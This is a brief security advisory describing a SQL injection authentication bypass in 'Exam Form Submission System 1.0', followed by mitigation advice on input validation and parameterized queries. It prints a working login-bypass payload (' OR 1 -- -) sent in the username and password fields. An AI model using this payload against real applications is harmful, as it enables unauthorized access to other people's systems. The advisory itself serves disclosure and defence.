Exam Form Submission System 1.0 – SQL Injection Authentication Bypass

An attacker can bypass authentication by sending a specially crafted HTTP POST request to the application. The request contains a username and password parameter with a value of ' OR 1 -- -. This will cause the application to bypass authentication and allow the attacker to gain access to the application.

Mitigation:

Input validation should be performed on all user-supplied data to ensure that it conforms to the expected format, type, length, and range. Additionally, the application should use parameterized queries to prevent SQL injection attacks.
